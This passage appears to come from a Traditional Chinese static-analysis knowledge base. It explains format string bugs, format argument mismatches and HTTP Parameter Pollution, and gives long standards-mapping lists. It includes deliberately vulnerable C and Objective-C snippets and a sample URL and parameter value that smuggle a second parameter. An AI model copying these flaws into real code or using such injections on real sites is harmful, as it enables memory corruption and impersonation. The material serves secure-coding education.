[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 134
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.dataflow.cpp.format_string
Abstract
攻擊者可能控制格式字串引數,讓攻擊更像是 Buffer overflow。
Explanation
Format String 弱點會在以下情況中出現:

1.資料從不可信賴的來源進入應用程式。



2.資料作為 Format String 引數傳送到函數,如 sprintf()FormatMessageW()syslog()NSLogNSString.stringWithFormat範例 1:以下程式碼在 NSString.stringWithFormat: 中使用指令行引數作為格式字串。


int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}


這段程式碼允許攻擊者查看堆疊的內容,並使用包含一連串的格式化指示的指令行引數來毀損堆疊。攻擊者可能透過提供更多格式化指令 (例如 %x) 從堆疊讀取,然後函數會取得即將格式化的引數。(在此範例中,函數沒有取得即將格式化的引數。)

Objective-C 支援舊版 C 標準程式庫,因此如果您的應用程式使用的是 C API,就可以利用以下的範例。

範例 2:透過提供可控制記憶體中讀取或寫入位置的格式指令,某些實作甚至可以更輕鬆地執行更進階的攻擊。為 glibc 而寫的以下程式碼中顯示了這種指示的範例:


printf("%d %d %1$d %1$d\n", 5, 9);


此程式碼會產生以下輸出:


5 9 5 5


使用 half-writes(%hn) 來準確地控制記憶體中任意的 DWORDS 的可能性同樣存在,這會大大地降低執行一次攻擊所必須的複雜度,如果不這樣,就會要求四條交錯的輸入,如 Example 1 中所提到的一樣。

範例 3:簡單的格式字串弱點經常是由於看似無害的捷徑。使用一些這樣的執行方式是非常地根深地固,以致於程式設計師可能都不會意識到他們所使用的函數需要一個 Format String 參數。

例如,syslog() 函數有時候以如下形式使用:


...
syslog(LOG_ERR, cmdBuf);
...


因為 syslog() 的第二個參數是個 Format String,所以任何包含在 cmdBuf 內的格式化指令都會被解譯,如 Example 1 中所述。

以下程式碼顯示了 syslog() 的正確使用方式:


...
syslog(LOG_ERR, "%s", cmdBuf);
...
範例 4:Apple 核心類別留下了危險的途徑,可藉此利用 Format String 弱點。

例如,String.stringByAppendingFormat() 函數有時候以如下形式使用:


...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...


stringByAppendingFormat 將會解析任何傳來的 NSString 中的 Format String 字元。

以下程式碼顯示了 stringByAppendingFormat() 的正確使用方式:


...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
References
[1] T. Newsham Format String Attacks Guardent, Inc.
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 134
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754, CCI-002824
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1), SI-16 Memory Protection (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation, SI-16 Memory Protection
[16] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.4.2 Memory/String/Unmanaged Code Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 134
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.dataflow.objc.format_string
Abstract
程式使用建構錯誤的邊界 Format String,其包含了與函數引數不同的轉換規範數值。錯誤的 Format string 會使得程式從分配記憶體邊界以外的位置讀取資料,此舉會允許敏感資訊的存取,導致運作方式異常或程式當機。
Explanation
Buffer overflow 可能是軟體安全性弱點最為人知的一種形式。大部分軟體開發人員都知道什麼是 Buffer overflow 弱點,但傳統和新開發的應用程式仍常遭到 Buffer overflow 攻擊。此問題的部份原因是,發生 Buffer overflow 的方式很多,部分原因是人們常常用不恰當的方式來防範 Buffer overflow。

在典型的 Buffer overflow 攻擊中,攻擊者會將資料傳送到程式,而程式會將其儲存在一個較小的堆疊緩衝區內。結果就是呼叫這個堆疊的資訊超出了它的邊界,其中包括函數的回傳指標。該資料設定了回傳指標的值,當函數回傳時,會將控制傳送到攻擊者資料所包含的惡意程式碼。

這類型的堆疊 Buffer overflow 在一些平台和開發社群中仍然很常見,但卻還有多種其他類型的 Buffer overflow,包括堆積 Buffer overflow 和差一錯誤 (off-by-one-error) 等等。有許多優秀的著作提供了關於堆疊 Buffer overflow 如何攻擊的具體資訊,包括 Building Secure Software[1]、Writing Secure Code[2]和 The Shellcoder's Handbook[3]。

在程式碼層級,會發生 Buffer overflow 弱點通常是因為程式設計師的假設被推翻。C 和 C++ 中的很多記憶體處理函數都沒有執行邊界值檢查,並會輕易地超出操作中緩衝區被配置的邊界值。甚至如 strncpy() 的範圍函數,使用不正確時也會引起弱點。大多數 Buffer overflow 弱點的根本原因,都是緩衝區的處理,加上對資料的大小或組成假設錯誤。

在此案例中,錯誤建構的 Format String 會導致程式從分配記憶體邊界以外的位置存取值。

範例:以下程式碼從堆疊讀取任意值,因為格式規範的數值與傳送到函數的引數數值不同。

void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
References
[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[2] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[3] J. Koziol et al. The Shellcoder's Handbook: Discovering and Exploiting Security Holes John Wiley & Sons
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 126
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [1] CWE ID 119, [5] CWE ID 125
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [5] CWE ID 119, [4] CWE ID 125
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [3] CWE ID 125, [17] CWE ID 119
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [5] CWE ID 125, [19] CWE ID 119
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [7] CWE ID 125, [17] CWE ID 119
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[17] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[18] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[19] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[20] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-2
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 119
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.internal.cpp.format_string_argument_number_mismatch
Abstract
程式使用建構錯誤的 Format String,其包含了與傳送到函數的引數類型不同的轉換規範。錯誤的 Format String 會使得程式以錯誤的方式來轉換值,而且有可能會從分配記憶體邊界以外的位置進行讀取或寫入,導致運作方式異常或程式當機。
Explanation
Buffer overflow 可能是軟體安全性弱點最為人知的一種形式。大部分軟體開發人員都知道什麼是 Buffer overflow 弱點,但傳統和新開發的應用程式仍常遭到 Buffer overflow 攻擊。此問題的部份原因是,發生 Buffer overflow 的方式很多,部分原因是人們常常用不恰當的方式來防範 Buffer overflow。

在典型的 Buffer overflow 攻擊中,攻擊者會將資料傳送到程式,而程式會將其儲存在一個較小的堆疊緩衝區內。結果就是呼叫這個堆疊的資訊超出了它的邊界,其中包括函數的回傳指標。該資料設定了回傳指標的值,當函數回傳時,會將控制傳送到攻擊者資料所包含的惡意程式碼。

這類型的堆疊 Buffer overflow 在一些平台和開發社群中仍然很常見,但卻還有多種其他類型的 Buffer overflow,包括堆積 Buffer overflow 和差一錯誤 (off-by-one-error) 等等。有許多優秀的著作提供了關於堆疊 Buffer overflow 如何攻擊的具體資訊,包括 Building Secure Software[1]、Writing Secure Code[2]和 The Shellcoder's Handbook[3]。

在程式碼層級,會發生 Buffer overflow 弱點通常是因為程式設計師的假設被推翻。C 和 C++ 中的很多記憶體處理函數都沒有執行邊界值檢查,並會輕易地超出操作中緩衝區被配置的邊界值。甚至如 strncpy() 的範圍函數,使用不正確時也會引起弱點。大多數 Buffer overflow 弱點的根本原因,都是緩衝區的處理,加上對資料的大小或組成假設錯誤。

在此案例中,錯誤建構的 Format String 會導致程式以錯誤的方式轉換資料值,或從分配記憶體邊界以外的位置存取值。

範例:以下程式碼錯誤地使用 %d 格式規範從浮點數轉換 f


void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
References
[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[2] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[3] J. Koziol et al. The Shellcoder's Handbook: Discovering and Exploiting Security Holes John Wiley & Sons
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 125, CWE ID 787
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [1] CWE ID 119, [5] CWE ID 125, [12] CWE ID 787
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [5] CWE ID 119, [4] CWE ID 125, [2] CWE ID 787
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [1] CWE ID 787, [3] CWE ID 125, [17] CWE ID 119
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [1] CWE ID 787, [5] CWE ID 125, [19] CWE ID 119
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [1] CWE ID 787, [7] CWE ID 125, [17] CWE ID 119
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 10.3
[17] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 5-0-3
[18] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[19] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[20] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[21] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 119
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.internal.cpp.format_string_argument_type_mismatch
Abstract
將未經驗證的輸入連結成 URL 可能讓攻擊者覆寫要求參數的值。攻擊者可能可以覆寫現有參數值,注入新的參數或者利用直接接觸得到的變數。
Explanation
HTTP Parameter Pollution (HPP)攻擊包含將編碼的字串限制字元注入其他現有參數。如果 Web 應用程式不能妥當清潔使用者輸入,惡意使用者可能危及應用程式邏輯,執行用戶端或伺服器端的攻擊。經由提交額外參數到網頁應用程式,且如果這些參數的名稱與現有參數相同,網頁應用程式可能以下列其中一種方式反應:

僅可使用第一個參數的資料
可使用最後一個參數的資料
可使用所有參數的資料,並將這些資料串連在一起


例如:
- ASP.NET/IIS 會使用所有出現的參數
- Apache Tomcat 僅使用第一個出現的參數並忽略其他位置出現的參數
- mod_perl/Apache 會將值轉換為一個值陣列

範例 1:根據應用程式伺服器及應用程式本身的邏輯而定,下列要求可能造成驗證系統的混淆,進而允許攻擊者模擬另一位使用者。
http://www.server.com/login.aspx?name=alice&name=hacker

範例 2:以下程式碼使用 HTTP 要求的輸入建立兩個超連結。

...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...


URL: http://www.host.com/election.aspx?poll_id=4567
連結 1:<a href="http://www.host.com/vote.aspx?poll_id=4567&lang=en">英文<a>
連結 2:<a href="http://www.host.com/vote.aspx?poll_id=4567&lang=es">西班牙文<a>

程式設計師沒有考慮到攻擊者可能會提供 lang (例如 en&poll_id=1) 的可能性,然後該攻擊者可能會隨意變更 poll_id
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
